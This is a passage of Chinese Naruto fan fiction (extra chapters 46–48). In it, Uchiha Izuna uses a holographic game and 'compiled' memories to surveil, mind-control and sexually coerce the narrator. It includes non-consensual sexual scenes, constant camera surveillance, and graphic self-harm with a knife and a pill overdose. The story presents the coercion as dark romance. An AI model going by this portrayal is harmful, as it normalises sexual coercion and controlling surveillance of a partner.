我把猫抱起来,猫像面条一样拉长了,我蹲在地上,盯着它沉默了片刻,恍然大悟,是Izuna! “Izuna!” “喵呜!” 小猫高高兴兴地回应我,舔了舔我的脸颊,湿漉漉的。 “饿了吗?” 我去给小猫开了个罐头,在小猫吧唧吧唧舔罐头时,抚摸猫咪丝滑柔软的背毛。 猫咪咕噜咕噜的,用它漆黑圆润的眼睛看着我。 我渐渐想起来了,几个月前,我养了一只叫作Izuna的小猫,在上班时担心家里的猫出现危险。 “那就装一个监视器吧。”有人建议我,“每天……每时每刻……都能注视你的猫。” 于是我听从建议,在家装了很多、很多监视器。 就连浴室里也装满了。 每个角落闪烁的红光,都对准了我。 全方位。 无死角。 像一只只猩红色的眼瞳。 是谁建议我的? 是谁在我耳边说话的……我按着太阳穴,皱起眉,想不起来。 工作按部就班,自从那个奇怪的电话以后,泉奈没有再联系过我。 我很快把这件事抛在了脑后。 天气渐渐变冷,我开始习惯每天早上在楼下的便利店买一杯热牛奶,一边喝一边等,通常差不多喝完以后,车子就会在我的公寓楼下停下。 然后,他走出来,将自己脖子上的围巾解下来给我系上,额头贴着额头,亲昵地蹭蹭我冰凉的鼻子,笑着和我说早安,问我早餐吃了什么。边说边帮我打开副驾驶的门。 我坐进去,兴高采烈地和他聊着天,说起昨晚一起通关的游戏。 “好厉害呀,”我崇拜地说,“无论什么游戏,你好像都特别擅长呢!” 他侧过头看着我,在等红灯的间隙握住我冰凉的手。 “你喜欢的话,我们今晚继续。” 他对我笑了下,眼神很温柔。 我的男朋友黑发黑瞳,相貌英俊,黑色长发在脑后扎成一条辫子。因为眼睛受过伤,无法长久视物,外出时常系着特制的蒙眼布。有着易碎品般的清冷美貌。 最特别的是,他的上嘴唇要比普通人厚一些,接吻时摩擦起来,柔软又黏腻。 我盯着他,脸上的笑容忽然淡了些许。 这张脸……这张脸……好熟悉啊。 闪烁的记忆碎片中。 在电车里,坐在我对面的戴着头戴式耳机,低头玩手机的男生。 便利店里,将热好的牛奶和零钱放在我手心,说“请慢走”的打工小哥。 公司里,路过打招呼的同事。 此刻,车窗外,路边走过的行人们。 我所生活的这个世界里的每一个人。 他们抬起头来。 好像都长着这样的脸。 每个人都在看着我。 无数双。 密密麻麻的。 漆黑的眼睛。 闪烁着猩红色的光点。 “泉……”我按着太阳穴,痛苦地呻吟道,“泉奈……” “嗯?”他平静地问,嗓音十分有耐心,“怎么了?” 绿灯亮起,车子重新启动。 我看着后视镜里,泉奈系着蒙眼布的,漂亮精致的五官。 我的大脑一片空白。 ……我想问什么? 我张了张嘴,喃喃自语:“我好像忘了自己要说什么……” 我呼吸急促,整个人不自然地冒着冷汗,面如金纸。 “很正常的,你生病了。”泉奈低声说,“没关系,别害怕。” 我逐渐开始尖叫。 泉奈将车停在路边,解开安全带,俯过身来紧紧握着我发抖冰冷的手,帮我擦掉冷汗,又凑过来吻我。 湿热的嘴唇,滚烫的舌尖。 他将手掌探到裙子里,一点点刺激。 我很快就哭了出来,拼命推他。 他将我卡在座椅里,这个姿势让我无法拒绝他的任何行为。 我毫无安全感。 我感到脆弱与恐惧。 “不对……不对,泉奈!!不要,我不要!!” “放轻松……放松。没事的。是我,是泉奈,你的男朋友。” 我抽噎着,强烈的不安让我浑身发毛:“我就是觉得有哪里不对……我好像忘记了很多事……” 泉奈轻声诱哄,话语里有神奇的安抚力量。 “放松……别想太多。有我陪着你,你不需要记住太多东西。” 他解下了蒙眼布,那双红石榴籽般美丽的眼瞳注视着我。 像闪烁的,监视器的红点。 旋转着黑色的绮丽花纹。 我心脏跳得飞快,失了神般的看着他,慢慢地把手臂放下来。 “乖孩子。” 他奖励似的吻了我一下,深入地探索。 我呜咽着揪紧了座椅的皮革,手指痉挛。 “你做得很好……”他在我耳边压抑地喘息,“做个乖孩子,听我的话……” 身体很快变得轻盈又暖洋洋的,忘记了那些不再重要的琐事。 第46章 泉奈IF线番外-中 02、成瘾性 我最近忘记的事情越来越多了。 我不知道自己在什么时候搬到了一座陌生的、空旷得离谱的豪宅,也不记得自己买了新出的游戏卡带和手柄。 我的浏览器搜索记录里总是出现“冬天送男朋友什么礼物”“围巾的织法”“恋爱约会地点”。 我想不起来自己什么时候把朋友们的联系方式删除拉黑,让他们不要再来联络自己。 好像很久没有和其他人说过话了。 是从什么时候开始……我的世界里只有泉奈一个人的? “我觉得自己,好像活在一个梦里面,”我比划着,缓慢地对泉奈说,“你知道吗?我的记忆和记忆之间总是出现大片空白,我想不起来我是怎么回到家里的。我好像上一秒还在公司,下一秒就坐在家里和你打游戏。” 我按着太阳穴。 “我好像忘记了很多、很重要的事情……” 更恐怖的是,这些记忆的缺失,往往发生在我和泉奈待在一起的时候。 每当我冒出一些急欲抓住的、似乎十分重要的念头时,它们总是消失得飞快。 我有时候会觉得泉奈是个我根本不认识的、强迫我的、可怕的陌生人。 我生活在一个荒诞的、**纵的楚门的世界中。所有人都告诉我,泉奈是我的男朋友。 但有时候,我又爱他爱到全世界只有他充满色彩。 我的记忆充满矛盾,总是碎片式的。 我感到我的大脑是完全被打开的,一个任人摆弄的木偶,一张一览无余的白纸。 泉奈说:“那好吧,看着我,我是谁?” 我看着他:“泉奈……?” “没错,”他说,“你正要做什么?” 我茫然地看着他,泉奈示意我往周围看。 这是一间大而明亮的会议室,窗明几净,会议桌上刻着千手集团的LOGO。 我……我好像想起来了。 数月前,展台的营销案不了了之后,公司再度与木叶接洽,在我的努力下,宇智波和千手的关系缓和下来。我和泉奈这次来,是代表斑与千手集团的人谈合作的。 所以我们才会在会议室。 我被泉奈按在会议桌上,一字裙掀开,在腹部卷起。 屋外阳光明亮,纤毫毕现,一览无余。 他抓着我的手腕,将我摁在桌上。垂着头,靠着我的耳畔,低低地喘息。 浓郁的鼻音。 我猛地瞪大眼睛。 “啊,看到了吗?”他笑出来,“我们在做什么?” 我听见会议室外,逐渐靠近的脚步声。 扉间询问柱间:“真的要和那群宇智波合作?你忘了他们当年——” “扉间!” “泉奈……泉奈!放开我!”我压着声音,伸出手想要推开他。 他笑得更愉悦了,按住我扭动的手臂,明知故问:“嘘,嘘……乖孩子。别害怕……怎么了?” 他揉着我的小腹,在某处按了下:“我在这里。” 我快晕过去了。 “有人来了!” 他满脸无辜:“谁来了?” “千手……柱间和扉间!” “噢,是这对混蛋啊。”他不慌不忙地用牙齿磨碾我的耳垂,低语,“来得正好……让千手兄弟看看,你是怎么弄脏他们的会议桌的。” “不行、不行!你疯了吗?!” 我呼吸急促,脸颊烧得通红。 我听见门把手被握住的声音。 我记不清自己为什么会鬼迷心窍同意泉奈,在会议室做这种事。 我丢失了太多记忆。 我的脑袋就像一串任人编译的代码。 我失去了所有的隐私和安全感。 被暴露的恐慌与危险让我不停哭泣。 极度的焦虑令我感到反胃。 我开始发抖。 泉奈在我耳边闷哼了下,去抓我的腿根:“放松点,坏孩子。” “放开我!”我哭着说,像条在会议桌上扑腾的鱼,“放开我,我不要这样!你到底在干什么?!我很害怕!!” “我知道你想要什么……这会让你放松下来……” 我颤抖起来。 下意识捂住嘴,以免尖叫声被千手兄弟听见。 我又失去了一段记忆。 我看见对面千手扉间伸出来的手。 “合作愉快。”他不太甘心地说,瞪着我的身后。 泉奈的手搭在我的肩膀上。 他没有说话。 会议已经结束了,看结果,我们已经谈妥了合作。我迟疑地伸出手,和扉间握了下。 他没有松开我。 我开始冒出冷汗。 “千手先生?” 千手扉间的脸在我眼前变成了泉奈的脸。 我吓得尖叫起来。 整个世界一寸寸崩解,化为一道道荧光数据流。 【第■■■次测试。结果:失败。】 【受验者意志尚且残存,仍需增加幻术辅助。】 有几个人七手八脚把我从游戏舱里扶起来。 我头昏脑涨,按着太阳穴直吸气。 有人递了杯水给我:“你的脱离反应一次比一次严重了,我们劝过泉奈先生减少测试时间,可……” 我一边小口小口慢慢喝水,一边环顾四周。 这是公司的实机体验室,我在这里参与泉奈对我的测试。 我问:“这次测试?” 那人摇了摇头:“没通过。” “我进行过很多次这样的测试了吗?”我看着游戏舱屏幕上显示的那行字。 正对着受验者的那一面,有一只监视器的红点在闪烁。 我只看了一眼,就飞快移开了脑袋。 “是的,”负责人说,“不过你不会拥有测试期间的记忆。这是对你的大脑的保护,同样也确保你不会因多次参与测试而知道流程,有意规避错误选择。” 我点了点头:“下次测试是什么时候?” 那个人点了几下平板:“泉奈先生还未通知,你可以回家休息几天。” 我对他道了谢,扶着墙慢慢走出去。 就像他所说的,我的脱离反应有些严重。 如果太过沉浸于全息世界里,待的时间太长,脱离时的抽离感就愈难受。 有反对者认为,全息游戏具有成瘾性。 它会使人上瘾。 因为那里有现实世界中,得不到的东西。 我看了下时间,我进游戏舱在今天下午五点到七点,两个小时不到。 现在正好是下班时间。 泉奈为我的测试找了充足的理由:测试他新版本的迭代。 公司里没有一个人起疑。 玩游戏玩到下班——明目张胆摸鱼让我有些心虚,走出去时差点撞到了人。 “小心。”那个人扶住我。 我猛地甩开他。 泉奈疑惑地看着我,亲昵地伸出手来碰我的额头,笑着问:“你今天怎么了,身体不舒服吗?” 他表现得就像和我关系十分亲密似的。 我往后退了一步,古怪地看着他:“泉奈先生,您这是做什么?” 泉奈脸上的笑容渐渐消失了。 他盯着自己落空的手看了一会儿,又抬起头,用那双没有高光的黑眼睛看着我。 我舔了舔嘴唇,心里有些不安。 “我,”他顿了下,“我有点脱离反应,精神上的。” 除了身体上的不适以外,太过沉浸虚拟世界的人,往往会分不清游戏与现实。 这也是脱离反应的一个种类。 “您还好吗,泉奈先生?”我客套地关心了几句。 泉奈忽然靠近过来,握住我的手腕。 陌生人的灼热体温。 清冷的气息。 具有侵略性的男性力量感。 我感到胃部在翻腾,难以想象的强烈反胃感令我眼前一阵阵发黑。 我反应相当激烈地拼命甩开他,往后一直退到角落,差点摔在了地上。 泉奈下意识伸手要搂住我。 我想立刻从泉奈面前逃走。 他的触碰让我……让我感到被暴露、被窥视、被掌控。 脆弱、无助、虚弱。 失去安全感。 像一只被打开的生蚝。 恐惧与作呕。 我压下反胃感,脸色苍白,结结巴巴地说:“抱歉、抱歉我有点……不喜欢被人碰。泉奈先生,真对不起,是我的问题。” 他又面无表情地盯着我看了。 比普通人略厚一些的嘴唇紧紧抿起。 他很不高兴,几乎在发怒边缘。 太棒了,我惹恼了自己的顶头上司。前途一片黑暗! “我送你回家。”他说。 “谢谢您,这太麻烦了,我回家有顺路的电车。” “我开了车。”他坚持。 我满头大汗,今天让副总裁送我回家,明天我的花边绯闻就能传遍整个公司。 “真的不用了,您的工作很忙,怎么能麻烦您这样的小事呢。” 他脱口而出:“你今天是怎么了!每天我们都一起上下班!!” 我疑惑地看着他:“泉奈先生……?” 该问怎么了的人是我吧,我每天不是辛辛苦苦挤电车吗? “我、我……” 泉奈按着太阳穴,他痛苦地皱起眉,发出低低的呻吟声,黑瞳恍惚涣散,又要过来抓我的手臂。我见势不妙,呲溜一下跑走了。 我顺利坐上了电车,下了电车,我走回家的路上,发现有一辆轿车跟着我。 我不太懂车,但看牌子和车型,应该是我这辈子都买不起的豪车。 我走到哪里,那辆轿车就跟到哪里。 心里有点毛毛的。 我在路边便利店解决了晚餐,出门时发现那辆轿车不见了。 我松了口气。 等走到公寓,我发现那辆轿车就停在楼下。 我有些不安,绕了个圈准备上楼。 车子直接启动,朝我撞了过来。 我整个人都吓傻了。 在开过我身边的时候,驾驶座车门打开,一只手伸了出来,猛地将我拽了进去。 滚烫的手臂揽着我的腰,宛如烧热的钢铁。 两个人挤在驾驶座上。 我刚准备叫救命,就看到了宇智波泉奈的脸。 他到底在搞什么?! 我想要生气。 我及时想起了他是给我发薪水的人之一。 我窝囊地说:“泉奈先生,您这是要做什么?” 他比我还茫然,目光恍惚地盯着我看了几秒钟,然后本能地、自然地、下意识地凑过来,耸动鼻尖,嗅了嗅我的发丝,接着将口鼻埋进去,深深呼吸。 我身上爬满了鸡皮疙瘩。 他的触碰让我感到非常不舒服,反胃与厌恶。 这很奇怪。 我的确不喜欢陌生男性的接触,但不至于反应会这么过激。 甚至可以说是恐惧。 我极力压抑自己的抗拒,最后在他滑动下来,试着吻我的脸颊和脖颈时终于爆发。 我尖叫着,连抓带挠,挣脱开他的怀抱,把自己塞进了副驾驶座,抓着包挡在身体面前,炯炯有神地瞪着泉奈,呼哧呼哧喘气。 他目光迷蒙地看着我,黑瞳里翻卷着混乱无序的漩涡,完全失去理智和自控能力。 他看起来很痛苦。 混乱又茫然。 不明白我为什么会这么排斥他。 他喘息声急促,还想继续将我拉过去。 我尖叫着用包砸他,疯了似的拼命开门。 泉奈把门锁住了,我打不开。 我气喘吁吁地缩在副驾驶座,警惕地瞪着他。 “这不对……”他按着太阳穴,死死盯着我,呢喃着同一句话,“这不对……这根本不对!!” 我惊恐地看着金属方向盘被他硬生生捏扁了。 我屏住呼吸,将自己的存在感压到最低,恨不得自己是隐形人。 泉奈捂着脸深呼吸了几次,紊乱的呼吸声终于恢复平静。 等到他再度抬起头,表情已经恢复了正常,黑瞳冷静。 我松了口气。 “我有点脱离反应。”他轻描淡写。 我连忙表示理解,方才的事完全不怪他。 可能他在上一个全息游戏里是拳击手,有十七八个情人的那种。 虚拟游戏是为了弥补现实世界得不到的东西而存在的。 我的顶头上司之一是个渴望暴力和女人的低俗直男也没什么好奇怪的。 “我来这里是想通知你,测试升级了。” “什么?”我重新紧张起来。 每个考生都会在被告知“这次考试难度上升”以后开始焦虑。 泉奈拿出平板,示意我看测试记录。 “我已经给过你这么多次机会,可你的每一次测试结果都是失败。” 我滑动平板,感觉自己脸上的温度在升高。 我没有记忆。 可数据不会骗人。 我已经度过了这么多个世界,却仍旧失败。 我卑微地说:“请再给我一次机会,泉奈先生,下次我一定能过。” 真可悲,像平时不努力,得过且过,三天打鱼,两天晒网。期末考不及格之后,去找导师死乞白赖重考一次的烦人学生。 泉奈按住我拿着平板的手。 肌肤相触传递而来的灼热温度。 男性骨骼坚硬的宽大手掌。 我又开始感到被暴露的脆弱与恐惧。 胃部翻腾着,强烈的反胃感。 我用力抽出手,几乎像从两片刀片之间挤出去,手掌摩擦得刺痛发红。 平板掉了下去。 “抱歉……我来捡。” 为了躲避他令人不适的注视,我俯下身。 但当我捡起掉落的平板抬起头,我看见泉奈居高临下的,注视我的眼神。 平板掉落的位置很尴尬。 我的鼻尖正对着他的皮带扣。 他喉结滚动了下,眼睛微微眯起。 我看到欲望的痕迹。 我惊慌失措:“泉奈……泉奈先生,呃,我想下车?我家里养了猫,还没有喂,它一定饿了。呃,明天公司见?” 他没有打开门锁。 轿车里都是泉奈的气息。 每一次呼吸都吞入肺部。 我浑身不自在。 “这些测试也并不是一无所获。”泉奈忽然说。 我一愣,意识到他在说我们刚刚看到的那些数量繁多的失败测试。 听起来我还有点用,我有些窃喜。 “我已经完全……深刻地明白了它们的意义:对你狂热的、盲目的、不正常的迷恋,到底有多么可怕。” 越来越不满足;越来越想要更多;越来越贪婪、沉浸其中、饮鸩止渴—— 直到彻底失控。 像个拆开了糖果罐里所有巧克力,吃光了的孩子。坐在满地的糖纸中,意识到,花生四烯酸氨基乙醇是有成瘾性的。 他压抑着喘息,盯着我,手指因强烈的渴望而颤抖。 幅度越来越大。 黑夜里,逼仄的车厢,他看起来有些危险过头了。 我有些不安,要不是担心自己赔不起,我都想把车门砸开了。 “泉奈先生,我想出去。”我冒着冷汗说,目光在中控台扫来扫去。 那个是开锁键吗? 我扑过去拼命按,比我按游戏手柄还使劲。 门开了。 万岁。 感谢天龙人们青睐的傻瓜式豪车。 我几乎是冲了出去:“晚安泉奈先生祝你度过一个愉快的夜晚下次测试我一定会过的我保证谢谢您给我机会再见!!” 第47章 泉奈IF线番外-下 03、陀螺 测试难度变高以后,我更是一次也没通过。 老实说,我其实不太理解:我以为在我第一次测试失败之后,就会被冷酷无情的泉奈大人从公司扫地出门。原因可能是我在测试里背叛了宇智波斑,做了些糟糕的行为。 比如和千手合作之类的。 毕竟我一直在推动公司和木叶的合作,而木叶是千手投资的。 泉奈第一次给我打电话,话里话外的嫌恶语气,就像我是个插足宇智波兄弟情的卑鄙外乡人。 但事情很快变化了。 他……他对我友好了起来,甚至愿意一次次给予我新的机会。 或者说,他渴望我进入游戏舱。 在测试升级之后,这种“友好”令我感到不适。 每一次测试结束,他的眼神都比上一次,更加……更加的危险。 上一次他在公司里看见我,几乎要冲过来。 被人拦住了。 钢化玻璃碎了一地。 医疗团队上来为他包扎。 我在角落瑟瑟发抖。 我听见他们说,脱离反应。谵妄。重度成瘾。戒断反应。 泉奈被人死死按着,眼睛一直盯着我。 他脸色苍白,汗如雨下,呼吸急促,目光既兴奋又渴望。 他们给他注射了镇静剂。 但他看起来仍然像一头随时会扑过来撕咬的雄狮。 我干巴巴地询问,泉奈先生这是怎么了? 有人告诉我,严重的虚拟游戏脱离反应。 “脱离反应有这么严重吗?”我最严重的时候也只是出游戏舱后吐了几口酸水。 “当然,”医生说,“随着全息游戏越来越逼真,分不清游戏与现实的瘾君子越来越多。” 我张了张嘴:“我不理解,”我说,“那可是宇智波泉奈。” 他亲手撰写的月之眼的源代码。 我的测试程序,据说也是他亲自编译的。 玩弄复杂的数据流,对他这样的天才黑客来说,就像呼吸一样简单。 他怎么可能会栽在自己亲手编译的游戏里。 这就像鱼溺死在水里一样不可思议。 他知道游戏里每个剧情的发展,他掌握着管理员权限。他甚至可以操纵数据,删掉那些他不喜欢的,只保留自己想要的。 就像上帝。 “是的,我们也很惊讶。”医生开始准备第二支肌肉松弛剂。 他的助手咕哝了一句:“谁知道呢,或许泉奈先生也有现实世界里得不到的东西,只能寄希望于游戏。” 他这话说的,就像泉奈是个生活不幸的网瘾少年似的。 测试人员收集了我的身体数据,调整了游戏舱,我的脱离反应好多了,只是轻微的眩晕。 所以,目前为止,我的负罪感源于,每周的带薪玩游戏。 我在午休时看见在休息室的泉奈。 他面前摆着一份基本没怎么动过的午餐,桌子上有一枚正在旋转的陀螺。 他盯着陀螺。 在我坐到他对面之后,泉奈按住了陀螺,包在了掌心里。 他戒备我。 “泉奈先生喜欢玩陀螺吗?” “不,”他冷冷地说,“只是方便我弄清楚现实和梦境。” 自从医疗团队为他制定了专门的戒断疗程以后,泉奈看起来正常多了。 也就是说,他不再对我“友好”,而变成了那个“离斑哥远点,你会影响他的理智”的宇智波泉奈。 谢天谢地。 “我想问,测试还要进行下去吗?”我说,“我们其实可以改成保密合同,如果我泄露了公司机密,就交一大笔赔偿金。” 泉奈刻薄道:“你一辈子也赔不起月之眼的一行源代码。” 我窝囊地认为他是对的。 我决定和他好好谈谈:“泉奈先生,我需要这份工作,我热爱我的岗位。” “在所有对我表忠心的员工里,你算是嘴最笨的那类。” 我:“……” 他的嘴好毒啊!! 我屈辱地、硬着头皮继续说:“我不想每周花两个小时在测试上了,这让我觉得对不起努力工作的同事。” “你每个月拿薪水的时候怎么不主动对财务部门提出扣薪申请?” 我决定当没听见:“我想把这时间用在更有意义的事情上。” “比如用公司网络刷T*kTok短视频?” 我心虚地移开眼睛。 “我只是觉得没有意义,”我说,“泉奈先生,这么多次测试,我都失败了。再进行下去,也不会有什么改变。数据是会出错的,我相信我自己,不会做出背叛斑先生的事。” 他不悦地抿紧唇:“你怀疑我对测试动手脚?” “我可没这么说,泉奈先生。” 你不能让出题人和改卷人是同一个,这样他在最开始就能操纵我的分数。 更别说考官从始至终都希望我滚出公司。 所以看到那么多次失败记录,我其实不是特别意外。 他别想用挫败感使我屈服。 泉奈瞪着我。 他终于松口了:“测试必须要进行下去。” “为什么?!”我不满地叫道。 “……”他说,“既然你说自己会保密:我对外的说辞没有错,你进入的就是迭代后新版本的月之眼。” 我倒吸一口凉气。 “你的工作很重要。”泉奈开始给我画大饼,“我需要你的体验数据,好在正式上市之前进行改良……” 像每个画大饼的上司一样,他轻轻将手盖在我的手背上,以示看重与信任。 我猛地甩开他,站了起来,呼吸急促。 自从测试升级,我对泉奈的触碰的反应也比之前更激烈。 但他进入戒断疗程之后,对我冷若冰霜,平时在公司遇见也懒得搭理我,更别说触碰我了。 我差点忘了这种恐惧与被暴露的脆弱。 “抱歉,泉奈先生,我有点……” 我没说完。 我看见泉奈碰过我的那只右手掌在发抖,他用另一只手按住剧烈颤抖的右手掌,脸上出了很多汗。 他的反应比我还过激。 我心里有些毛毛的。 他的脸色很快变得苍白,嘴唇颤抖着。 我听见低沉而急促的喘息声。 他抬起头看我时,眼睛已经完全变成了疯狂的猩红色。 我觉得他下一秒钟就会将我按在餐桌上。 我浑身发毛,不住后退。泉奈看了我一眼,抓起手边的餐刀,直接将自己的右手掌钉在了桌子上。 “滚!!”他对我咆哮,“滚开!!” 他嘴上说“滚”,盯着我的眼神却狂热地渴望我靠近他。 伤口涌出大量的血。 我惊恐地看着他。 他哆嗦着用仅剩的左手从口袋里掏出药片,咬开,看也不看剂量,往嘴里倒,像吃饭那样把几十片药片咀嚼完吞进肚子里。 他盯着我,像在咀嚼我的血肉。 他每尝试靠近我一厘米,右手掌上的餐刀就摩擦着骨与肉,伤口撕裂,发出令人毛骨悚然的吱吱声。 已经有人叫了医疗组。 医生们很快就带着医药箱过来了。 我看着泉奈。 鲜血顺着桌沿往下滴,他脸上的血色似乎都顺着伤口流尽了。 穿白大褂的医生将泉奈团团围住,他们挡住了我的视线。 我闻见消毒药水的味道。 “剂量还要加大……”我听见里面有人说,“已经出现抗药性了。泉奈先生,您有按医嘱服药吗?不是出现症状就能靠用药解决,药物只是辅助您戒断的手段,更重要的是您的意志力——” “过来……”然后是泉奈声嘶力竭的声音,“让她过来……让她过来!我要她!把她给我!!她是我的!她是我的东西!!” 里面似乎在骚动。 “拘束带!” 有人大喊。 “你忘记了吗?”他的声音迷茫又嘶哑,“我们每天晚上一起打游戏。你给我织围巾,我们去海洋公园约会,你说你喜欢海豚形状的挂件,你一直拴在手机上。我们说好春天要去旅游……” “泉奈先生!!泉奈先生!!不要再回忆了!!” 血腥味混合着消毒水味。 “你说喜欢我的,”他抽噎着,“我们还一起养了一只猫。你看着我的眼睛,答应要和我永远在一起的。为什么一觉醒来你就变了?!那么多天的朝夕相伴、那么漫长的人生都是假的吗?!” “难道说,你发现了?”他的声音有些惊疑不定,“为了时时刻刻确认你的状态,我稍微采取了一点必要手段——可你是同意的!有时候你不太听话,说着让我困扰的刺耳的话,千方百计想要离开我,我用了一些很温和的幻术,让你重新想起对我的爱。你是因为这个对我生气了? “我精心删除那些不好的回忆,保留我们幸福的记忆,增添编译我们相处的点点滴滴。和我在一起,你每天都过得很开心快乐,不是吗?用了什么手段,真的很重要吗?” 在他口中,记忆就像一团可以塑形的橡皮泥。 “泉奈先生!按住他!准备镇静剂!” 他陷入谵妄癔症的莫须有幻想令我感到莫名其妙、细思极恐,我逃也似的离开了这里。 晚些时候,我收到泉奈打来的电话。 他的声音疲惫、冷淡而兴味索然。 泉奈通知我,今后的测试全部取消。 “那月之眼的迭代……”我说。 “我会找更专业的人替代你。”泉奈冷冷地说。 他干脆利落地挂断了电话。 看来事情妥善解决了。 泉奈饱受脱离反应折磨,分不清游戏与现实,无暇顾及我这个碍眼的小啰啰。 于是,我顺利保住了工作。 皆大欢喜。 除了牺牲了泉奈先生的健康以外。 听起来,泉奈在游戏里找到了人生真爱? 爱上游戏角色成为梦男?这种事情我深切地理解。 玩黑客的十有八九是热爱ACG文化的宅男。 泉奈这款眼高于顶的也不例外。 天气变凉又回暖,月之眼企划顺利上市。 来年春天,我约了朋友们一起赏樱。 不远处的小孩子们在樱花树下玩着陀螺。 它们旋转着、旋转着,气流卷起碎屑般的粉色樱花瓣。 一直都没有停下。 我看得出了神,想知道陀螺什么时候会停止旋转。直到朋友推了下我:“有人找你。” 我抬起头,在樱花树下看见穿着西装,蒙着蒙眼布的清俊男子,他黑色的长发在脑后扎起,有着易碎品般的清冷美貌。 “这是……” 我想了想。 河岸边的路灯杆上,高高悬挂着一个监视器。 猩红色的光点闪烁着。 每一杆、每一杆路灯上,都悬挂着一个监视器。 它们咔嚓咔嚓运转着,将闪烁红点的镜头对准了我的脸。 脑海里生了锈的齿轮吱吱呀呀转动起来。 我想起来了,这是泉奈。 我的……男朋友。 我的男朋友不喜欢我和朋友们接触得太近,他的表情看起来有些不悦。 泉奈生气了。 我心脏跳得砰砰响,后背鼻尖全是冷汗,连忙站起来,将衣服挽在臂弯:“泉奈来接我了,”我喃喃自语,“我要先回去了。” “好呀。” “好呀。” “和泉奈回去吧。” 我的朋友们张合着嘴巴,说。 他们都长着,和泉奈一样的脸。 玩着陀螺的小孩子,赏樱的游客,桥上骑车经过的行人们。 他们都长着同一张脸。 我停在原地想了想,好像这也没什么不正常的地方。于是,就小跑到了泉奈身边。 他细致地帮我把肩上落下的樱花瓣捡去,扣着我的后脑勺,缓慢又湿润地吻我。 我很快就忘记了那些古怪的地方。 “人的大脑记忆是一串串生物电流,由数据构成,我可以像编译代码一样,编译人的记忆。” 我眨眨眼睛,看着泉奈。 我记得,泉奈很擅长编程方面的事。 他是傲慢又自负的天才。 “所以,你看,我为什么要拘泥于游戏。” 他抛出一枚陀螺,丢在地上。 声音轻得让人发毛。 “现实世界里,我一样可以为你编织幻象。” 陀螺又旋转起来了。 “我们幸福的、真实的……未来。” 我听不懂他的话,只是被旋转的陀螺吸引去了目光,目不转睛地看着它。 过了很久,陀螺停下来了。 陀螺是判断现实与梦境的依据。 它只有在梦境中才会永远旋转,而在现实世界,则会停下。 现在,它停下来了。 这是现实世界。 我忽然有种崩溃大叫的冲动,好像十分绝望与恐惧。 有让我不寒而栗的、极为可怕的事情正在发生。 但是抬起头,看见泉奈猩红色的漂亮眼睛,就什么都忘记了。 天气已经回暖,他却还系着一条旧围巾。 那是我送他的。 他一直小心保养,时常使用。 泉奈对我很好,很喜欢我,我们很快就要结婚了。 我的未婚夫温柔地握住我的手。 我记得自己想甩开他的,但是脑袋里空空如也,这个念头一诞生,就被抽取走了。 出于这个缘由,和泉奈接触时,我的反应总是有些慢。 “回家吧。”他说。 我不记得自己想要说什么了,于是,呆呆地看着泉奈,遵循着本能,迈开脚步。 “……嗯。”我慢慢地,点了点头。 * 陀螺致敬《盗梦空间》 第48章 全家桶番外① 我的百分百被一见钟情Buff原来是对宇智波特攻吗? 【IF线番外:平行世界的某种可能,与正文无关】 【没标IF线:就是正常番外,接正文结局,和正文一个世界线】 【这篇算是后日谈?撒糖向,无脑贴贴,争取雨露均沾】 番外三、宇智波全家桶 01、泉奈+止水 前半生的不幸在此刻得到了报偿:我抽中了月之眼企划内测名额。 “脱离反应包括但不限于:眩晕、呕吐、心悸、耳鸣、短暂失去五感、对虚拟世界成瘾导致的长时间戒断……如参与人员(以下称为乙方)出现以上症状,本公司,即日本宇智波株式会社(以下称为甲方)概不承担责任……” 测试人员已经念了半个小时免责声明,我一个字都没有听! “乙方默认将以下数据授权给甲方使用:身高、体重、心率、血压、眼动周期……” 我!抽中了!月之眼内测名额!! “如游戏资料泄露,甲方有权对乙方进行核查,并依法提出索赔……” 我是全世界第一批玩月之眼的玩家!!好耶!! 更重要的是,还有高额酬金可以拿!双倍好耶! “……那么,请诸位在乙方栏签字。” 测试人员把平板拿给我。 我看都不看就光速签完字,激动地晃来晃去,排队等测试人员将我带去游戏舱。 首批内测资格十分宝贵,等候大厅的人并不多。 排在我前面的人比我谨慎得多,正仔细看着平板上的合同条款,与测试人员确认。 我听见他们的交谈声。 “我需要上传我的意识数据?” “是的。”测试人员回答道,“您的意识将储存在临时服务器内。” 他咕哝了一句:“将意识转化为数据,那岂不是可以编译人脑,篡改记忆?太危险了!太不安全了!这等于将我的大脑敞开!” 他听起来懂得比较多,大约是一名可敬的程序员。 “是的,”测试人员如实回答,“但只有管理员拥有编译权限。” “噢,是泉奈先生?”他仿佛知道内情。 “是的。” “那就没问题了!” 男人一听总策划是宇智波泉奈,眼神就变得坚定信任起来,他果断地签了字,把平板还给测试人员。 作为月之眼企划源代码的提供者,整个游戏的管理员——宇智波斑的亲弟弟,宇智波泉奈出席了这次内测活动,担任总负责人,实时检测受验者的游戏数据。 他就坐在大厅前方的高台上。 泉奈戴着头戴式耳机,穿着休闲潮流,五官精致立体,嘴里嚼着泡泡糖,时不时吹个泡泡。面前的桌子上摆着一台超薄笔记本电脑,几台我不认识的高科技设备,拖在地上的漆黑数据线像蜘蛛网一样密。 泉奈修长的手指轻轻搭在键盘上,正隔着空旷的大厅看着我。 他的表情冷淡而嫌恶。 我浑身不自在,缩着头,将自己藏在其他人的影子里。 宇智波泉奈来公司的第一天就和我不对付。 我不知道为什么,他固执地认为他的兄长狂热地、盲目地、不正常地迷恋我,以至于影响了判断。 “……你使人失控,应当离斑哥远点。”他冷冷地说,深深地看着我。 泉奈极力反对我接触月之眼企划,在抗议无果后,更是整日对我摆个臭脸,对我的工作挑三拣四。 如果不是斑严厉地制止,或许我早就被泉奈扫地出门了。 泉奈注视的目光露骨炙热、不加掩饰。 公司里的人都知道他讨厌我,将我看作是插足宇智波感天动地兄弟情的卑鄙邪恶外族人。 排在前面的同事回过头打趣道:“你要小心了。” “嗯?” “泉奈先生搞不好会在你进入游戏,上传意识数据之后,编译篡改你的记忆。” 他摆明了是在同我开玩笑打发时间,我却吓了一跳,后背冒出冷汗,就好像这件事真的发生过似的。 “……泉奈先生为什么要这么做?”我勉强笑了一下,“就为了报复我?他没那么小肚鸡肠。” 我骗人的。 我觉得泉奈就是有那么小肚鸡肠。 上次我在休息室多吃了一块饼干,不巧被泉奈看到了,他嘲讽我带薪度假,祝我早日跳槽去幼稚园。 “泉奈先生是说我性格温柔,做事细心,适合做幼稚园老师吗?”我有些害羞,不好意思地挠挠鼻尖。 “有时候我真的会对你的脸皮厚度感到叹为观止。”泉奈刻薄道,“幼稚园每天中午会发零食,对未进化的、脑子里除了食欲空空如也的猿猴来说岂不是乐园?” 我:“……” 